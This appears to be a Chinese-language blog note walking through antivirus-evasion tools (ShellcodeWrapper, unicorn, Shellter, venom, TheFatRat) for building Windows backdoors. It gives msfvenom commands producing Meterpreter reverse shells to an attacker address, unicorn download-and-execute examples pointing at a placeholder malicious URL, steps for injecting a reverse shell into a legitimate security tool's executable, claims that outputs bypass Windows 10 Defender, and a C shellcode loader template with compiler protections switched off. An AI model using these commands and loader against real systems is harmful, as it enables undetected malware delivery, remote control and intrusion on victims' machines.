选择了几个简单或者近期还有更新的免杀工具进行学习python
项目地址linux
https://github.com/Arno0x/ShellcodeWrapperios
该工具的原理是使用异或加密或者aes加密,作到混淆,进行免杀。git
先使用msfvenom生成raw格式文件github
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.1 LPORT=4444 -f raw -o shellcode.raw
下面命令mi0
是密码随意写便可。shell
python shellcode_encoder.py -cpp -cs -py payload/shellcode.raw mi0 xor
会生成3个文件,用C++编译的cpp文件,用python编译的py文件和用c#编译的cs文件c#
直接丢到vs中把cpp编译生成exe文件便可,上传目标服务器。windows
项目地址数组
https://github.com/trustedsec/unicorn.git安全
从github上下载下来就能够运行,使用方法很是简单
支持生成ps一、macro、hta、dde等形式的代码和文件
全部类型的使用方法以下
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe PS Down/Exec Macro: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe macro Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde CRT Example: python unicorn.py <path_to_payload/exe_encode> crt Custom PS1 Example: python unicorn.py <path to ps1 file> Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500 Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format) Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00 or metasploit) Custom Shellcode HTA: python unicorn.py <path_to_shellcode.txt> shellcode hta (formatted 0x00 or metasploit) Custom Shellcode Macro: python unicorn.py <path_to_shellcode.txt> shellcode macro (formatted 0x00 or metasploit) Generate .SettingContent-ms: python unicorn.py ms
这里生产powershell的脚本
python unicorn.py windows/meterpreter/reverse_tcp 192.168.2.1 4444
运行powershell的脚本便可
shellter使用的是PE文件注入的方式,测试kali和windows的版本,感受windows的还要方便稳定一点
windows版本下载地址
https://www.shellterproject.com/download/
以windows为例下载后直接运行shellter.exe
主要一开始有2个模式,一个Auto一个manual
Auto的选项要少不少,更加的方便,manual选项不少,能够自定义调用的混淆模块等参数
Choose Operation Mode - Auto/Manual (A/M/H): A Perform Online Version Check? (Y/N/H): N #此处输入注入的PE文件,这里注入D盾 PE Target: \\vmware-host\Shared Folders\Mac 上的 mi0\script\kali\D_Safe_Manage.exe ......(等待) #选择是否开启隐藏模式 Enable Stealth Mode? (Y/N/H): N #选择回连payload的方式 ************ * Payloads * ************ [1] Meterpreter_Reverse_TCP [stager] [2] Meterpreter_Reverse_HTTP [stager] [3] Meterpreter_Reverse_HTTPS [stager] [4] Meterpreter_Bind_TCP [stager] [5] Shell_Reverse_TCP [stager] [6] Shell_Bind_TCP [stager] [7] WinExec #选择输入listed payload输入 Use a listed payload or custom? (L/C/H): L #输入payload的编号 Select payload by index: 1 *************************** * meterpreter_reverse_tcp * *************************** #设置监听地址和端口 SET LHOST: 192.168.2.1 SET LPORT: 4444 .....(等待生成成功便可)
目标服务器上运行程序便可反弹shell(我这里用msf的模块监听便可收到shell)
项目地址
https://github.com/r00t-3xp10it/venom
安装起来步骤比较繁琐,主要是依赖问题
进入到目标文件夹
sudo aux/setup.sh
会帮你安装全部须要的依赖,以后运行
sudo ./venom.sh
选择目标的模块
__ _ ______ ____ _ _____ ____ __ \ \ //| ___|| \ | |/ \| \ / | \ \// | ___|| \| || || \/ | \__/ |______||__/\____|\_____/|__/\__/|__|1.0.16 USER:kali ENV:vm INTERFACE:eth0 ARCH:x64 DISTRO:Kali ╔─────────────────────────────────────────────────────────────╗ ║ 1 - Unix based payloads ║ ║ 2 - Windows-OS payloads ║ ║ 3 - Multi-OS payloads ║ ║ 4 - Android|IOS payloads ║ ║ 5 - Webserver payloads ║ ║ 6 - Microsoft office payloads ║ ║ 7 - System built-in shells ║ ║ 8 - Amsi Evasion Payloads ║ ║ ║ ║ E - Exit Shellcode Generator ║ ╚─────────────────────────────────────────────────────────────╣ SSARedTeam@2019_| [☠] Shellcode Generator [➽] Chose Categorie number: 2
以后会弹出适应该模块的免杀方式以及生成文件格式,输入对应的编号便可
以后分别会弹出接收shell的host输入框,接收shell的port输入框,反弹shell的payload选择框(都是msf的),输入生成文件的名字
后面2个参数都选deafult默认便可
参数输完以后,去vemon项目下的output中取生成的shell发送到目标服务器上运行便可
注:windows 1的dll文件shell可以绕过windows 10自带病毒检测(这就很nice)
运行dll可使用如下命令
rundll32.exe test.dll,main
项目地址
https://github.com/Screetsec/TheFatRat
安装步骤很简单
chmod +x setup.sh && ./setup.sh
更新(更新后还要从新setup.sh一下)
./update && chmod +x setup.sh && ./setup.sh
再检查下组件是否正常
chmod +x chk_tools ./chk_tools
注意下即便组件正常也要安装names的python依赖,以后调用模块的时候会用到
pip install names
踩坑:个人环境是kali20.2,这个版本的kali使用的kali用户而不是root用户,用sudo pip
安装了后,启动fatrat仍是说找不到names
模块,这时候须要sudo su
切换到root用户进行names
的安装
在安装时会发现它还须要BDF这个免杀做为依赖
在肯定全部组件安装完毕后运行
sudo ./fatrat
稍等片刻进入界面
2 ____ | | |____| _|____|_ _____ _ _____ _ _____ _ / ee\_ |_ _| |_ ___| __|___| |_| __ |___| |_ .< __O | | | | -_| __| .'| _| -| .'| _| /\ \.-.' \ |_| |_|_|___|__| |___|_| |__|__|___|_| J \.|'.\/ \ | |_.|. | | | [--] Backdoor Creator for Remote Acces [--] \__.' .|-' / [--] Created by: Edo Maland (Screetsec) [--] L /|o'--'\ [--] Version: 1.9.7 [--] | /\/\/\ \ [--] Codename: Whistle [--] J / \.__\ [--] Follow me on Github: @Screetsec [--] J / \.__\ [--] Dracos Linux : @dracos-linux.org [--] |/ / [--] [--] \ .'\. [--] SELECT AN OPTION TO BEGIN: [--] ____)_/\_(___\. [--] .___________________________________[--] (___._/ \_.___)'\_.-----------------------------------------/ [01] Create Backdoor with msfvenom [02] Create Fud 100% Backdoor with Fudwin 1.0 [03] Create Fud Backdoor with Avoid v1.2 [04] Create Fud Backdoor with backdoor-factory [embed] [05] Backdooring Original apk [Instagram, Line,etc] [06] Create Fud Backdoor 1000% with PwnWinds [Excelent] [07] Create Backdoor For Office with Microsploit [08] Trojan Debian Package For Remote Acces [Trodebi] [09] Load/Create auto listeners [10] Jump to msfconsole [11] Searchsploit [12] File Pumper [Increase Your Files Size] [13] Configure Default Lhost & Lport [14] Cleanup [15] Help [16] Credits [17] Exit ┌─[TheFatRat]──[~]─[menu]: └─────►2
这里官方推荐02和06模块,这里使用02的模块中的udp加壳
_______ ___ ___ ______ ___ ___ ___ ______ | _ | Y | _ \ | Y | | _ \ |. 1___|. | |. | \|. | |. |. | | |. __) |. | |. | |. / \ |. |. | | |: | |: 1 |: 1 |: |: |: | | |::.| |::.. . |::.. . /|::.|:. |::.|::.| | --- ------- ------ --- --- --- --- --- 1.0 Select one tool to create your Windows EXE FUD Rat [ 1 ] - Powerstager 0.2.5 by z0noxz (powershell) (NEW) [ 2 ] - Slow But Powerfull (OLD) [ 3 ] - Return to menu ┌─[TheFatRat]──[~]─[FUDWIN]: └─────► 2
会出现填写lhost和lport的提示框
以后会等很长一段时间,生成exe文件,上传到目标服务器运行便可
监听使用msf的windows/meterpreter/reverse_tcp)
便可
该免杀工具也能过win10的自带防火墙
免杀思路:经过cs和msf生成后门文件,对生成的后门进行代码处理达到免杀
在编写c代码的时候能够加上该语句,则不会触发黑窗
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
编译环境是VS 2019
在运行前将编译器的栈缓冲区安全检查(/Gs) 、数据执行保护(DEP)以及代码优化关闭关闭
关闭位置:
代码优化:C/C++ --> 优化
栈缓冲区安全检查(/Gs):C/C++ --> 代码生成 --> 安全检查
数据执行保护(DEP):链接器 --> 高级 --> 数据执行保护
咱们可使用下面的模板生成shellcode,将msf或者cs的shellcode放入到buf数组变量中便可。
在运行前能够对buf中的字符进行处理达到免杀(以后会学习记录下如何手写shellcode)
#include <windows.h> #include <iostream> #include <time.h> #pragma comment (lib, "winmm.lib") #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") void startShellCode() { unsigned char buf[] = ""; void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof(buf)); ((void(*)())exec)(); } void main() { startShellCode(); }